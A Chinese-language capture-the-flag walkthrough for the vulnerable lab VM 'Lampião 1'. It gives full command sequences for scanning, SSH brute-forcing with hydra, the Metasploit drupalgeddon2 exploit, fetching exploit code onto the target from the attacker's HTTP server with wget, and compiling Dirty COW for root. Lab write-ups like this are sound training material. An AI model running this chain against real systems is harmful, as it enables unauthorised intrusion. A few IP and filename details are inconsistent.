目录
准备工作
靶机ip:192.168.198.138
kali:192.168.168.128
靶机地址:
Would you like to keep hacking in your own lab?
Try this brand new vulnerable machine! "Lampião 1".
Get root!
Level: Easy
主机发现
arp-scan 192.168.198.0/24
全端口扫描
nmap -p- 192.168.198.138
目标计算机上有三个可用的开放端口22、80、1898端口
信息枚举
http://192.168.198.138:1898/ -> Read more 发现改页面信息:
http://192.168.198.138:1898/?q=node/2
页面发现:
audio.m4a:语音获得用户名:tiago
qrc.png:图片二维码扫描获得信息,需要爆破
爆破网站目录
dirb http://192.168.198.138:1898
获得url:http://192.168.198.138:1898/robots.txt
继续枚举获得:http://192.168.198.138:1898/CHANGELOG.txt
发现是:Drupal 7.54, 2017-02-01
获取密码字典
先利用cewl来生成一份结合网站目标的社工性质的密码字典
cewl http://192.168.198.138:1898/ -w Lampiao.txt
hydra爆破
使用之前语音获得的用户名:tiago进行ssh爆破
hydra -l tiago -P Lampiao.txt 192.168.198.138 ssh
用户: tiago
密码: Virgulino
登录ssh
ssh tiago@192.168.198.138
发现是低权限用户,需要提权!
提权
MSF提权
msfconsole
search Drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set rport 1898
set rhosts 192.168.198.138
exploit
meterpreter > shell
python -c 'import pty; pty.spawn("/bin/bash")'
通过漏洞渗透进入系统,但是获得的是低权限用户,和前面ssh登陆的tiago用户权限类似
脏牛提权
下一步要找到反弹shell获取root权限,通过LES(Linux 权限提升审计工具)来检测给定 Linux 内核/基于 Linux 的机器的安全缺陷
下载链接:https://github.com/The-Z-Labs/linux-exploit-suggester
python -m http.server 8081
tiago@lampiao:~$ wget http://192.168.198.128:8081/les.sh
tiago@lampiao:~$ chmod +x les.sh
tiago@lampiao:~$ ./les.sh
这里我们使用40847提权
1、searchsploit dirty
使用:Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privile | linux/local/40847.cpp
2、cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /home/kali/
继续开启本地pthon服务,然后把40847.cp发送到靶机上:
3、python -m http.server 8081
4、wget http://192.168.198.128:8081/40847.cpp
5、g++ -Wall -pedantic -O2 -std=c++11 -pthread -o Lampiao 40847.cpp -lutil
-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
-std=c++11就是用按C++2011标准来编译的
-pthread 在Linux中要用到多线程时,需要链接pthread库
-o dcow gcc生成的目标文件,名字为dcow
执行gcc编译可执行文件,可直接提权。
6、./Lampiao
Root password is: dirtyCowFun
获得root用户密码!
登录root-ssh
ssh root@192.168.198.138
root@lampiao:~# cat flag.txt
9740616875908d91ddcdaa8aea3af366
此刻已成功拿到flag!!!